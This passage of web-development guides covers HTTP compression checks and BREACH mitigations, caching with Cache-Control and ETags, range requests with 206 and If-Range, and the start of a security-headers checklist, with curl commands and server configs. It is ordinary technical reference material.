'Accept-Encoding: br' -o /dev/null -w '%{size_download}\n' https://example.com/ ``` Compare every encoding for the same URL, and print the status code so you notice a redirect or error page: ```bash url='https://example.com/assets/app.js' for enc in identity gzip br zstd; do curl -s -H "Accept-Encoding: $enc" -o /dev/null \ -w "$enc\t%{http_code}\t%{size_download} bytes\n" "$url" done ``` If the `zstd` row shows the same byte count as `identity`, the server ignored zstd and sent the response uncompressed. Confirm which encoding actually came back by reading the headers: ```bash curl -s -D - -o /dev/null -H 'Accept-Encoding: br' https://example.com/ \ | grep -i -E '^(content-encoding|content-length|vary|transfer-encoding|etag):' ``` ```text content-encoding: br vary: Accept-Encoding ``` Run the same commands against the origin directly and through the CDN; they often disagree. Two more checks: - `curl --compressed` sends only the encodings your curl build can decode (look for `brotli` and `zstd` in the `Features:` line of `curl -V`), so it is not a reliable way to test Brotli or zstd. - In browser DevTools, compare the transferred size of a request with its decoded resource size in the Network panel; the request's response headers show which `Content-Encoding` was used. ## BREACH: when compression leaks secrets BREACH ("Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext") was presented by Yoel Gluck, Neal Harris and Angelo Prado at Black Hat USA 2013 and tracked as CVE-2013-3587. RFC 9110 §17.6 cites it. It is the HTTP-level successor to CRIME, which attacked TLS-level compression; disabling TLS compression does not help against BREACH, and the researchers note it works regardless of TLS version or cipher suite. The researchers list three conditions. A response is at risk when it: 1. is served with HTTP-level compression, 2. reflects user input (for example a query-string parameter echoed into the page), and 3. contains a secret such as a CSRF token or session-bound value. An attacker who can make the victim's browser send many requests, and observe the size of the encrypted responses, guesses the secret one character at a time: when the guess in the reflected input matches the secret, the compressor finds the repetition and the response gets a few bytes smaller. Mitigations, roughly from most to least targeted: - **Mask secrets per response.** Django's CSRF token is "scrambled differently with each response using a mask" for exactly this reason. If your framework emits the same raw token on every page, fix that first. - **Separate secrets from reflected input.** Keep tokens out of responses that echo query parameters or form fields. - **Disable compression for those responses only**, for example `gzip off; brotli off;` in one nginx `location`, or the `filter` function in the Express example above. Turning compression off site-wide is rarely necessary. - **Rate-limit and monitor** requests that look like guessing: thousands of near-identical requests from one client. Static assets and responses that contain no secrets are not affected, so pre-compressed CSS and JavaScript are always safe. ## Checklist 1. Text types are listed in `gzip_types` / `brotli_types` (or the equivalent), not just `text/html`. 2. Every compressed response carries `Vary: Accept-Encoding`. 3. Images, video, WOFF2 and archives are excluded. 4. Fingerprinted assets are pre-compressed at build time with gzip and Brotli at maximum level, and zstd at level 19 or lower. 5. Only one layer compresses. If the CDN compresses, the origin can still send `br` or `gzip`, but the app and nginx should not both try. 6. Responses that reflect user input and contain secrets use masked tokens or skip compression. 7. You have measured with curl, through the CDN and at the origin. ## Related - [Accept-Encoding](https://howhttpworks.com/headers/accept-encoding), [Content-Encoding](https://howhttpworks.com/headers/content-encoding) and [Vary](https://howhttpworks.com/headers/vary) for the header-level reference. - [Transfer-Encoding](https://howhttpworks.com/headers/transfer-encoding) and [Content-Length](https://howhttpworks.com/headers/content-length) for message framing. - [HTTP headers and caching](https://howhttpworks.com/guides/headers-and-caching) for how `Vary` changes cache keys. - [Range requests](https://howhttpworks.com/guides/range-requests) for why ranges and on-the-fly compression do not mix. - [Content negotiation](https://howhttpworks.com/glossary/content-negotiation) for the general mechanism. - [ERR_CONTENT_DECODING_FAILED](https://howhttpworks.com/debug/err-content-decoding-failed): what breaks when the `Content-Encoding` header and the body disagree. --- # HTTP Headers and Caching: A Practical Guide > Master HTTP caching with Cache-Control, ETag, Last-Modified, and conditional request headers. Learn how to optimize performance with proper cache strategies. Source: https://howhttpworks.com/guides/headers-and-caching Last reviewed: 2026-10-05 > **TL;DR:** HTTP caching is controlled mostly by `Cache-Control`. Set `max-age` to say how long a response stays fresh, `private` or `no-store` for user-specific data, and send an `ETag` so caches can revalidate with a cheap `304 Not Modified` instead of downloading everything again. Versioned static assets get `max-age=31536000, immutable`. HTTP caching has the biggest effect on web performance of anything in this series, because it decides whether the next request reaches your origin at all. With correct headers, pages load faster, the origin serves fewer requests, and cache behaviour becomes predictable when you debug it. ## Introduction Caches keep reusable copies of responses at several layers: the browser, a CDN, a reverse proxy. Storing the copy is easy. The hard part is telling each layer when reuse is safe and when it has to check back with the origin first. HTTP handles that with two sets of headers. Cache-control headers say how long a response stays fresh and who is allowed to store it. Validators such as `ETag` and `Last-Modified` let a cache ask "is my copy still current?" without downloading the whole thing again. Get it right and pages load faster with less origin traffic. Get it wrong and users see stale data, or someone else's. ## Cache Control Fundamentals ### Cache-Control Directives `Cache-Control` is the main header you'll use. Its directives say who may store a response, for how long, and when to check back with the server. **Common Cache-Control Directives:** ```http Cache-Control: max-age=3600 Cache-Control: no-cache Cache-Control: no-store Cache-Control: public, max-age=86400 Cache-Control: private, max-age=300, must-revalidate ``` **Directive Meanings:** - `max-age=N`: the response stays fresh until its age reaches N seconds - `public`: any cache may store it, including CDNs and proxies - `private`: only the user's browser may store it; shared caches must not - `no-cache`: caches may store it, but have to revalidate with the server before every reuse - `no-store`: no cache may store it at all - `must-revalidate`: once stale, the cache has to revalidate before reusing it ### Cache Storage Locations **Browser Cache:** ```http Cache-Control: private, max-age=300 ``` The browser keeps the copy on the user's device. It's the fastest cache, but each copy serves only that one user. **CDN/Proxy Cache:** ```http Cache-Control: public, max-age=86400 ``` CDNs and proxies are shared caches: one stored copy serves many users. They're a great fit for static assets and anything else that's the same for everyone. **Application Cache:** ```http Cache-Control: no-cache, private ``` Redis or Memcached sit behind your app, outside HTTP, so `Cache-Control` doesn't control them. This header suits dynamic pages your app builds: the browser may keep a copy but revalidates before using it. ## ETag Generation and Validation An ETag (entity tag) is a fingerprint for one version of a resource. When the content changes, the ETag changes. Caches send it back to ask whether their copy is still current, without downloading the resource again. ### ETag Types **Strong ETags:** ```http ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" ``` A strong ETag means byte-for-byte identical content. Any change, however small, gets a new one. **Weak ETags:** ```http ETag: W/"33a64df551425fcc55e4d42a148795d9f25f89d4" ``` A weak ETag (the `W/` prefix) means the content is equivalent, not necessarily identical. It may stay the same across minor changes that don't matter to the client. ### ETag Generation Strategies **Content-Based ETags:** ```javascript // Generate ETag from content hash const crypto = require('crypto') const content = JSON.stringify(userData) const etag = crypto.createHash('md5').update(content).digest('hex') response.setHeader('ETag', `"${etag}"`) ``` **Timestamp-Based ETags:** ```javascript // Generate ETag from last modified time const lastModified = new Date(user.updatedAt) const etag = lastModified.getTime().toString(16) response.setHeader('ETag', `"${etag}"`) ``` **Version-Based ETags:** ```javascript // Generate ETag from resource version const etag = `"v${user.version}"` response.setHeader('ETag', etag) ``` ## Conditional Request Validation A conditional request lets a client check whether its cached copy is still good. If it is, the server skips the body and the client reuses what it has. ### If-None-Match Validation The most common form sends the stored ETag back in `If-None-Match`. The requests and responses in this guide are examples. **Client Request:** ```http GET /api/users/123 HTTP/1.1 Host: api.example.com If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" ``` **Server Response (Content Unchanged):** ```http HTTP/1.1 304 Not Modified ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" Cache-Control: max-age=300 ``` **Server Response (Content Changed):** ```http HTTP/1.1 200 OK ETag: "7d865e959b2466918c9863afca942d0fb89d7c9ac0c99bafc3749504ded97730" Cache-Control: max-age=300 Content-Type: application/json { "id": 123, "name": "Alice Johnson", "email": "alice.johnson@example.com", "updatedAt": "2026-01-18T10:30:00Z" } ``` ### If-Modified-Since Validation The older alternative uses timestamps: the client sends the `Last-Modified` value it stored. **Client Request:** ```http GET /api/users/123 HTTP/1.1 Host: api.example.com If-Modified-Since: Sun, 18 Jan 2026 09:30:00 GMT ``` **Server Response (Not Modified):** ```http HTTP/1.1 304 Not Modified Last-Modified: Sun, 18 Jan 2026 09:30:00 GMT Cache-Control: max-age=300 ``` ## Cache Lifecycle Examples ### Fresh Cache Scenario ```text 1. Initial Request: GET /api/products → 200 OK, Cache-Control: max-age=600, ETag: "abc123" 2. Subsequent Request (within 10 minutes): GET /api/products → Served from cache (no network request) 3. Cache Status: FRESH Time remaining: 400 seconds ``` ### Stale Cache with Successful Validation ```text 1. Cache Expired: Cached response age: 650 seconds (> max-age=600) 2. Validation Request: GET /api/products If-None-Match: "abc123" 3. Server Response: 304 Not Modified, ETag: "abc123" 4. Cache Status: FRESH (revalidated) New expiration: current_time + 600 seconds ``` ### Stale Cache with Failed Validation ```text 1. Cache Expired: Cached response age: 650 seconds 2. Validation Request: GET /api/products If-None-Match: "abc123" 3. Server Response: 200 OK, ETag: "def456", [new content] 4. Cache Status: FRESH (updated) Old cache entry replaced with new response ``` ## Cache Invalidation Strategies ### Time-Based Invalidation **Short TTL for Dynamic Content:** ```http Cache-Control: max-age=60, must-revalidate ``` **Long TTL for Static Assets:** ```http Cache-Control: public, max-age=31536000, immutable ``` ### Event-Based Invalidation **Cache Purging:** ```javascript // Purge specific URLs from CDN await cdn.purge(['/api/users/123', '/api/users/123/profile']) ``` **Cache Tags:** Some CDNs purge by tag. The header is vendor-specific; Cloudflare reads `Cache-Tag`: ```http Cache-Control: max-age=3600 Cache-Tag: user:123, profile, api ``` ### Versioned URLs **Asset Versioning:** ```html ``` ## Advanced Caching Patterns ### Stale-While-Revalidate The cache serves the stale copy right away and refreshes it in the background, so users don't wait on the origin. ```http Cache-Control: max-age=300, stale-while-revalidate=86400 ``` **Behavior:** - 0-300 seconds: Serve from cache - 300-86700 seconds: Serve stale content, trigger background update - 86700+ seconds: Must revalidate before serving ### Vary Header for Content Negotiation `Vary` tells caches to store a separate copy for each value of the listed request headers. ```http Vary: Accept-Encoding, Accept-Language Cache-Control: public, max-age=3600 ``` **Cache Keys:** - `/api/users` + `Accept-Encoding: gzip` + `Accept-Language: en` - `/api/users` + `Accept-Encoding: br` + `Accept-Language: es` ## Implementation Examples ### Express.js Caching Middleware ```javascript function cacheMiddleware(maxAge = 300) { return (req, res, next) => { // Generate ETag from response content const originalSend = res.send res.send = function (data) { const etag = generateETag(data) res.set({ ETag: etag, 'Cache-Control': `max-age=${maxAge}` }) // Check if client has current version if (req.headers['if-none-match'] === etag) { return res.status(304).end() } originalSend.call(this, data) } next() } } ``` `generateETag` is a placeholder for your hashing function. Express already sends weak ETags and answers a matching `If-None-Match` with 304 by default. This version leaves out `Last-Modified`: stamping the current time on every response would claim the resource changed on every request. ### CDN Cache Configuration ```javascript // Cloudflare Workers example addEventListener('fetch', (event) => { event.respondWith(handleRequest(event)) }) async function handleRequest(event) { const request = event.request const cache = caches.default const cacheKey = new Request(request.url, request) // Check cache first let response = await cache.match(cacheKey) if (!response) { // Fetch from origin; copy the response so its headers can be changed const originResponse = await fetch(request) response = new Response(originResponse.body, originResponse) // Cache based on content type if (response.headers.get('content-type')?.includes('application/json')) { response.headers.set('Cache-Control', 'max-age=300') } // Store in cache event.waitUntil(cache.put(cacheKey, response.clone())) } return response } ``` ## Getting Headers and Caching right ### Cache Strategy Selection **Static Assets:** ```http Cache-Control: public, max-age=31536000, immutable ``` Cache for a year and change the URL when the file changes. **API Responses:** ```http Cache-Control: private, max-age=300, must-revalidate ``` A few minutes in the browser only, then revalidate. **User-Specific Content:** ```http Cache-Control: private, no-cache ``` The browser may store it but checks with the server every time. ### Performance Monitoring **Cache Hit Ratio:** ```javascript const cacheHitRatio = cacheHits / (cacheHits + cacheMisses) // Track this over time; a good ratio depends on your traffic mix ``` **Cache Validation Efficiency:** ```javascript const validationSuccessRate = notModifiedResponses / validationRequests // Expect this to be high for content that rarely changes ``` ### Common Pitfalls **Over-Caching Dynamic Content:** ```http // Bad: User data cached too long, and by shared caches Cache-Control: max-age=3600 // Good: Browser-only, short, with validation Cache-Control: private, max-age=60, must-revalidate ``` **Under-Caching Static Assets:** ```http // Bad: CSS/JS files expire quickly Cache-Control: max-age=300 // Good: Long-term caching with versioning Cache-Control: public, max-age=31536000, immutable ``` ## Related Concepts Where to go next: - **[Request Lifecycle](https://howhttpworks.com/guides/request-lifecycle)**: How caching fits into the overall request flow - **[Status Codes](https://howhttpworks.com/guides/status-codes-overview)**: 304 Not Modified and other cache-related codes - **[ETag Header](https://howhttpworks.com/headers/etag)**: Detailed ETag implementation - **[Cache-Control Header](https://howhttpworks.com/headers/cache-control)**: Complete directive reference - **[If-None-Match Header](https://howhttpworks.com/headers/if-none-match)**: Conditional request validation Start with short cache times and lengthen them as you learn how often your content really changes. --- # HTTP Range Requests: 206, Resume and Video Seeking > How HTTP range requests work: Range, Accept-Ranges, 206 and Content-Range, multipart/byteranges, 416, If-Range for safe resumes, and CDN and compression traps. Source: https://howhttpworks.com/guides/range-requests Last reviewed: 2026-10-04 > **TL;DR:** A client sends `Range: bytes=start-end` (zero-based, inclusive) and a server that supports it replies `206 Partial Content` with `Content-Range: bytes start-end/total`. Add `If-Range` with the strong `ETag` you saw earlier so a changed file comes back whole with `200` instead of being spliced into a corrupt resume. Ranges count encoded bytes, so on-the-fly compression and many CDN cache misses quietly turn a 206 into a full 200. ## The exchange A range request is a normal `GET` with one extra header. Here is the full exchange against a static file served by nginx: ```bash curl -s -D - -o /dev/null -r 0-99 https://example.com/downloads/app-1.4.2.tar.gz ``` ```http HTTP/1.1 206 Partial Content Server: nginx Content-Type: application/octet-stream Content-Length: 100 Last-Modified: Wed, 23 Apr 2025 11:55:39 GMT ETag: "6808d53b-13886f" Content-Range: bytes 0-99/1280111 ``` - `Content-Length: 100` is the size of this message's body, not the file. - `Content-Range: bytes 0-99/1280111` says which bytes these are and how big the whole representation is. A `*` in place of the total means the server does not know it (RFC 9110 §14.4). - The `ETag` is the validator you must keep if you plan to request more of this file later. RFC 9110 §15.3.7 requires a 206 to carry `Date`, `Cache-Control`, `ETag`, `Expires`, `Content-Location` and `Vary` whenever a 200 for the same request would have, so a 206 is cacheable on the same terms. Range handling is defined only for `GET` (RFC 9110 §14.2). A server ignores `Range` on other methods, and it may ignore it on `GET` too, in which case you get a normal `200` with the whole file. A client must always check the status code; seeing bytes arrive proves nothing. ## Range syntax From RFC 9110 §14.1.2, for a 10,000-byte file: | Header | Bytes returned | Notes | | --- | --- | --- | | `Range: bytes=0-499` | 0 to 499 | First 500 bytes. Both ends inclusive, offsets start at 0. | | `Range: bytes=500-` | 500 to 9999 | Everything from offset 500. This is what a resume sends. | | `Range: bytes=-500` | 9500 to 9999 | Suffix range: the last 500 bytes. | | `Range: bytes=9500-20000` | 9500 to 9999 | An end past the file is clamped to the last byte. | | `Range: bytes=0-0,-1` | 0 and 9999 | Two ranges: the response becomes multipart. | | `Range: bytes=10000-` | none | Starts at or past the end: unsatisfiable, so 416. | The off-by-one that catches everyone: `bytes=0-99` is 100 bytes, not 99. To fetch the first N bytes, request `0-(N-1)`. ## Accept-Ranges is a hint ```bash curl -sI https://example.com/downloads/app-1.4.2.tar.gz | grep -i -E '^(accept-ranges|content-length|etag|content-encoding):' ``` ```text Content-Length: 1280111 ETag: "6808d53b-13886f" Accept-Ranges: bytes ``` `Accept-Ranges: bytes` says ranges are supported for this resource; `Accept-Ranges: none` asks clients not to try. RFC 9110 §14.3 is explicit that it is advisory both ways: a client may send `Range` without having seen it, and must not assume that seeing it means the next range request will get a 206, because "a different intermediary might process the next request." Treat `curl -I` as a quick hint and `curl -r` as the real test. ## Multiple ranges and multipart/byteranges Ask for two ranges and the 206 body becomes a MIME multipart document: ```bash curl -s -D - -r 0-99,200-299 https://example.com/downloads/app-1.4.2.tar.gz ``` ```http HTTP/1.1 206 Partial Content Content-Type: multipart/byteranges; boundary=00000000000000000003 Content-Length: 437 --00000000000000000003 Content-Type: application/octet-stream Content-Range: bytes 0-99/1280111 ...100 bytes... --00000000000000000003 Content-Type: application/octet-stream Content-Range: bytes 200-299/1280111 ...100 bytes... --00000000000000000003-- ``` Rules from RFC 9110 §15.3.7.2 and §14.6: - There is no top-level `Content-Range`. Each part carries its own. - A server must not send a multipart response to a single-range request, so clients that only ask for one range never have to parse multipart. - A server may merge overlapping or nearby ranges and may return them in a different order, so clients must read each part's `Content-Range` rather than assume. Multi-range requests are also a denial-of-service vector. RFC 9110 §17.15 says servers "ought to ignore, coalesce, or reject" requests for more than two overlapping ranges or many small ranges. nginx's `max_ranges` caps the count: requests over the limit are handled as if they had no `Range` header (a full 200), and `max_ranges 0;` turns byte ranges off entirely. Cloudflare treats a header with more than 300 ranges as a non-range request. If only your multi-range requests fail, look for one of these limits before debugging anything else. ## 416 Range Not Satisfiable When no requested range overlaps the file, the server answers [416](https://howhttpworks.com/status-codes/416) with the real length: ```bash curl -s -D - -o /dev/null -r 99999999- https://example.com/downloads/app-1.4.2.tar.gz ``` ```http HTTP/1.1 416 Requested Range Not Satisfiable Content-Type: text/html; charset=utf-8 Content-Range: bytes */1280111 ``` nginx still prints the old reason phrase "Requested Range Not Satisfiable". RFC 9110 calls it "Range Not Satisfiable"; clients look at the number, so the wording does not matter. The usual causes: - **Resuming a download that already finished.** The local file is complete, so the resume asks for `bytes=-`. curl handles this: with `-C -` on a complete file it gets the 416 and exits successfully without touching the file. - **The file shrank** since the client recorded its offset. `Content-Range: bytes */` tells the client the new size. - **A client bug** producing `bytes=-0` or an inverted range such as `bytes=500-100`. RFC 9110 also notes that servers are free to ignore `Range` instead, so "clients cannot depend on receiving a 416" even when it is the right answer. Many servers send a 200 with the whole file. ## If-Range: resume without corrupting the file The dangerous case is a file that changes between the first and second request. You downloaded 500,000 bytes of version A, the file was replaced with version B, and the resume asks for `bytes=500000-`. Without a check, the server sends the tail of B and you glue it onto the head of A. The checksum fails, or worse, nothing checks it. `If-Range` (RFC 9110 §13.1.5) closes that gap. It means: "if the representation still matches this validator, send the range; otherwise send me the whole new thing." It never produces 412. Testing the same nginx file with each kind of validator: ```bash url=https://example.com/downloads/app-1.4.2.tar.gz # Current strong ETag: the range is honoured curl -s -o /dev/null -w '%{http_code} %{size_download}\n' -r 1000- -H 'If-Range: "6808d53b-13886f"' "$url" # 206 1279111 # Stale ETag: Range is ignored, the full file comes back curl -s -o /dev/null -w '%{http_code} %{size_download}\n' -r 1000- -H 'If-Range: "stale-etag"' "$url" # 200 1280111 # Exact Last-Modified date also works as a validator curl -s -o /dev/null -w '%{http_code} %{size_download}\n' -r 1000- -H 'If-Range: Wed, 23 Apr 2025 11:55:39 GMT' "$url" # 206 1279111 ``` The rules that matter: - **Only strong validators.** A client must not send a weak ETag (`W/"…"`) in `If-Range`, and the server compares with the strong comparison function, so a weak ETag never matches. Any layer that weakens ETags (on-the-fly compression does) makes every resume fall back to a full download. - **Dates must be exact and strong.** A date matches only if it equals `Last-Modified` exactly, and a client should use one only when it has no ETag and the date is strong under §8.8.2.2: at least one second older than the response's `Date`. - **ETags must agree across servers.** Behind a load balancer, every backend must generate the same ETag for the same file. Otherwise `If-Range` fails whenever consecutive requests land on different nodes, and resumes silently become full downloads. nginx builds static ETags from the file's modification time and size, so deploys that preserve mtimes keep them consistent; deploys that touch files at different times do not. ### What curl does and does not do `curl -C -` works out the offset from the partial file and sends `Range: bytes=-`. In curl 8.7.1, which this page was tested with, it does **not** add `If-Range`: ```text > GET /downloads/app-1.4.2.tar.gz HTTP/1.1 > Host: example.com > Range: bytes=500000- > User-Agent: curl/8.7.1 > Accept: */* > < HTTP/1.1 206 Partial Content < Content-Length: 780111 < ETag: "6808d53b-13886f" < Content-Range: bytes 500000-1280110/1280111 ``` So a plain `curl -C -` will happily append the tail of a changed file. Add the validator yourself: ```bash # First attempt: note the ETag curl -s -D headers.txt -o app.tar.gz https://example.com/downloads/app-1.4.2.tar.gz grep -i '^etag:' headers.txt # Resume, but only if the file is unchanged curl -C - -H 'If-Range: "6808d53b-13886f"' -o app.tar.gz https://example.com/downloads/app-1.4.2.tar.gz ``` If the file has changed, the server ignores `Range` and returns 200, and curl refuses to resume rather than corrupt the file: ```text curl: (33) HTTP server doesn't seem to support byte ranges. Cannot resume. ``` (Over HTTP/2 the same condition can surface with a different exit code.) Delete the partial file and start again. Whatever tool you use, verify a published checksum after any resumed download. ## Why video players and download managers depend on ranges **Video seeking.** A progressive MP4 or WebM file is one big resource. When you drag the scrubber to minute 40, the player works out the byte offset from the file's index and requests a range starting there. Without 206 support the only way to reach minute 40 is to download everything before it. Apple's Safari documentation is direct about it: "HTTP servers hosting media files for iOS must support byte-range requests, which iOS uses to perform random access in media playback." Its suggested check is `curl --range 0-99 -o /dev/null`: 100 bytes means ranges work; the whole file means they do not. **The MP4 index.** An MP4's index (the `moov` atom) is normally written at the end of the file. A player that receives the start of the file cannot begin playback until it has fetched that index, which costs an extra range request to the end of the file, or a full download on a server without ranges. ffmpeg's `-movflags +faststart` runs "a second pass moving the index (moov atom) to the beginning of the file". Do that for every MP4 you serve progressively. **Download managers.** Pause and resume is a range request with `bytes=-`. Parallel "segmented" downloaders open several connections, each asking for a different single range of the same file, and stitch the parts together. Both only work safely if the file has a stable strong ETag. Adaptive streaming (HLS, DASH) usually splits video into many small segment files, so it needs ranges less, although both formats can also address byte ranges inside a single file. ## Compression and ranges RFC 9110 §14.1.2 settles which bytes a range counts: "If the representation data has a content coding applied, each byte range is calculated with respect to the encoded sequence of bytes, not the sequence of underlying bytes that would be obtained after decoding." So `bytes=0-99` of a `Content-Encoding: gzip` response is the first 100 bytes of gzip data, not of the decoded file. That works when the encoded file is fixed on disk, for example a pre-compressed `.gz` sidecar with its own strong ETag. It cannot work for on-the-fly compression, where the encoded bytes and their length do not exist until the compressor runs. Servers handle this by not offering ranges on compressed responses. nginx's gzip filter (and the third-party Brotli filter) removes `Accept-Ranges`, removes `Content-Length` and weakens the `ETag` on every response it compresses. The practical rules: - Do not compress video, audio or archives at all. They are already compressed, and compressing them breaks seeking and resumes. See [HTTP compression](https://howhttpworks.com/guides/http-compression) for what to exclude. - If a large text file such as a log or CSV must be resumable, serve a fixed pre-compressed file or serve it uncompressed. - When a range request returns 200, check for `Content-Encoding` in the response before blaming the range code. ## CDNs and proxies A CDN sits between the client's `Range` header and your origin, and it rarely forwards it unchanged. **Cloudflare**, from its [range request documentation](https://developers.cloudflare.com/cache/reference/range-requests/) (updated September 2026): - Without the Origin Range Requests setting, on a cacheable miss Cloudflare may strip the client's `Range`, fetch the complete file from the origin, then answer the client's range from it. On a bypassed or uncacheable request it may forward the original `Range`. - With Origin Range Requests enabled in a Cache Rule, Cloudflare fetches ranges aligned to 1 MiB boundaries and may split one client request into several origin requests, so your origin logs show ranges the client never sent. Those origin requests carry `Accept-Encoding: identity`. - For Cloudflare to cache an origin 206, it must be unencoded, have an exact `Content-Range` with the full size, a `Content-Length` equal to the range, and no `Transfer-Encoding`. - If Cloudflare has to decompress an encoded response, it ignores `Range` and sends the complete uncompressed body as 200. - A matching `If-Range` against the cached `ETag` or `Last-Modified` keeps the range; a mismatch returns the full file. - In Workers, `cache.put()` throws if given a 206 response. **nginx as a caching proxy.** By default a cache miss for a range fetches the whole object. For large files, the `slice` module (not built by default; needs `--with-http_slice_module`) splits the object into fixed-size cacheable pieces. This is nginx's documented example: ```nginx location / { slice 1m; proxy_cache cache; proxy_cache_key $uri$is_args$args$slice_range; proxy_set_header Range $slice_range; proxy_cache_valid 200 206 1h; proxy_pass http://localhost:8000; } ``` **Your own application.** Serving a file by piping a stream to the response gives no range support. Use the framework's file helpers, which implement it: Express's `express.static` and `res.sendFile` accept ranges by default (`acceptRanges: true` in `serve-static`), and Go's `http.ServeContent` "handles Range requests properly" along with `If-Range` and the other conditional headers. For files in object storage, pass the client's `Range` through to the storage API or redirect to a signed URL rather than proxying the full body. ## Debugging checklist 1. **Does the origin do ranges?** `curl -s -D - -o /dev/null -r 0-99 `. Want `206` and `Content-Range: bytes 0-99/`. 2. **Does the CDN URL do ranges?** Same command on the public URL. A 200 here but 206 at the origin points at the CDN or a proxy. 3. **Is something compressing it?** Look for `Content-Encoding` in the response. Exclude the content type from compression. 4. **Is the ETag strong and stable?** `curl -sI` the URL several times; the ETag should be identical and not start with `W/`. 5. **Does If-Range work?** Repeat step 1 with `-H 'If-Range: ""'`. A 200 means the validator does not match. 6. **Multi-range?** If only multi-range requests fail, check `max_ranges` or your CDN's limit. 7. **Resume test.** Download part of a file, resume with `curl -C -` plus `If-Range`, then compare `shasum -a 256` against a full download. ## Related - [Range](https://howhttpworks.com/headers/range), [Accept-Ranges](https://howhttpworks.com/headers/accept-ranges), [Content-Range](https://howhttpworks.com/headers/content-range) and [If-Range](https://howhttpworks.com/headers/if-range) for header-level reference. - [206 Partial Content](https://howhttpworks.com/status-codes/206) and [416 Range Not Satisfiable](https://howhttpworks.com/status-codes/416) for the status codes. - [ETag](https://howhttpworks.com/headers/etag) for strong and weak validators. - [HTTP compression](https://howhttpworks.com/guides/http-compression) for why on-the-fly compression disables ranges. - [HTTP headers and caching](https://howhttpworks.com/guides/headers-and-caching) for how 206 responses fit into caching. --- # HTTP Security Headers Checklist: Values and Configs > Which HTTP security headers to send and which to drop: starting values for CSP, HSTS and more, with nginx, Apache, Express, Next.js and Cloudflare config. Source: https://howhttpworks.com/guides/http-security-headers-checklist Last reviewed: 2026-10-04 > **TL;DR:** Send `Strict-Transport-Security`, `X-Content-Type-Options: nosniff`, `Referrer-Policy: strict-origin-when-cross-origin`, a frame-protection header and a Content-Security-Policy you ship as Report-Only first; add `Permissions-Policy` and `Cross-Origin-*` headers where your site allows. Do not send `Expect-CT`, `Public-Key-Pins` or `Feature-Policy`, and set `X-XSS-Protection` only to `0` or leave it out. Check your result with the [Site Verifier](https://howhttpworks.com/tools/site-verifier). ## The checklist Starting values, not universal answers. Each links to the page that covers the header in depth. | Header | Recommended starting value | What it prevents | | --- | --- | --- | | [Strict-Transport-Security](https://howhttpworks.com/headers/strict-transport-security) | `max-age=300` first, then `max-age=31536000; includeSubDomains` | SSL-stripping and downgrade to HTTP after the first HTTPS visit | | [Content-Security-Policy](https://howhttpworks.com/headers/content-security-policy) | Report-Only starter below | Injected scripts running (XSS impact), clickjacking via `frame-ancestors`, data exfiltration to unlisted hosts | | [X-Content-Type-Options](https://howhttpworks.com/headers/x-content-type-options) | `nosniff` | Browsers guessing a script or stylesheet from a response served with the wrong `Content-Type` | | [Referrer-Policy](https://howhttpworks.com/headers/referrer-policy) | `strict-origin-when-cross-origin` | Full URLs (with tokens or IDs in the path and query) leaking to other origins in `Referer` | | [X-Frame-Options](https://howhttpworks.com/headers/x-frame-options) | `DENY`, or `SAMEORIGIN` if you frame yourself; pair with CSP `frame-ancestors` | Clickjacking: your page being framed by another site | | [Permissions-Policy](https://howhttpworks.com/headers/permissions-policy) | `camera=(), microphone=(), geolocation=(), payment=()` for features you do not use | Your page, or a third-party iframe on it, using powerful browser features | | [Cross-Origin-Opener-Policy](https://howhttpworks.com/headers/cross-origin-opener-policy) | `same-origin` (test OAuth and payment popups first) | Cross-origin windows holding a reference to yours via `window.opener`; prerequisite for cross-origin isolation | | [Cross-Origin-Resource-Policy](https://howhttpworks.com/headers/cross-origin-resource-policy) | `same-site` or `same-origin` on resources not meant to be embedded | Other sites embedding your images, scripts or JSON responses (Spectre-class and hotlinking exposure) | | [Cross-Origin-Embedder-Policy](https://howhttpworks.com/headers/cross-origin-embedder-policy) | `require-corp`, only if you need cross-origin isolation (`SharedArrayBuffer`) | Loading cross-origin resources that have not opted in; breaks third-party embeds, so skip it by default | Cookies carry their own flags rather than headers of this kind: see [Cookie Security](https://howhttpworks.com/guides/cookie-security) for `Secure`, `HttpOnly` and `SameSite`. Notes that save debugging time: - **HSTS is sticky.** A browser that has seen `max-age=31536000` refuses plain HTTP for your host for a year. Start at `max-age=300`, confirm every subdomain you add with `includeSubDomains` serves HTTPS, then raise it. Add `preload` only after reading the preload requirements; removal from the list takes months. - **Set HSTS only over HTTPS.** Browsers ignore it on HTTP responses. - **`X-Frame-Options` has no multi-origin allow-list.** The `ALLOW-FROM` value is obsolete; use CSP `frame-ancestors https://partner.example` when a specific partner may frame you. - **COOP `same-origin` breaks popup flows** that rely on `window.opener` or `window.closed`, such as some OAuth and payment pop-ups. Test the login flow before shipping. - **A `Referrer-Policy` of `no-referrer`** also removes `Referer` for your own analytics and CSRF checks that read it. `strict-origin-when-cross-origin` is the browser default in current browsers, but setting it explicitly protects older clients and documents intent. ## What not to send | Header | Why to drop it | | --- | --- | | `X-XSS-Protection: 1; mode=block` | The legacy filter could be abused to disable parts of a page or leak information, and Chrome removed its auditor. Send `X-XSS-Protection: 0` to switch off any remaining legacy filter, or omit it. See [X-XSS-Protection](https://howhttpworks.com/headers/x-xss-protection). | | `Expect-CT` | Existed to enforce Certificate Transparency before it became a baseline requirement for publicly trusted certificates. Browsers no longer act on it and MDN lists it as deprecated. | | `Public-Key-Pins` (HPKP) | Pinning the wrong key could lock users out of your site for months. Chrome removed support and no current browser honors it. | | `Feature-Policy` | Replaced by `Permissions-Policy`, which has different syntax. See [Permissions-Policy vs Feature-Policy](https://howhttpworks.com/compare/permissions-policy-vs-feature-policy). | | `Server: nginx/1.27.0`, `X-Powered-By: Express` | Not a protection, but version strings help attackers pick exploits. Use `server_tokens off;` in nginx, `ServerTokens Prod` in Apache and remove `X-Powered-By`. | | `Access-Control-Allow-Origin: *` with credentialed responses | Browsers reject the wildcard when credentials are included, and reflecting arbitrary `Origin` values is worse. Use an explicit allow-list. See the [CORS guide](https://howhttpworks.com/guides/cors). | ## A CSP starter that will not break most sites Start with a policy that is strict about the dangerous things (plugins, ``, form targets, framing) and tolerant about the common ones (inline styles, images from HTTPS hosts). Scripts are the part that needs your attention. ```http Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'self'; report-to csp-endpoint; report-uri /csp-reports 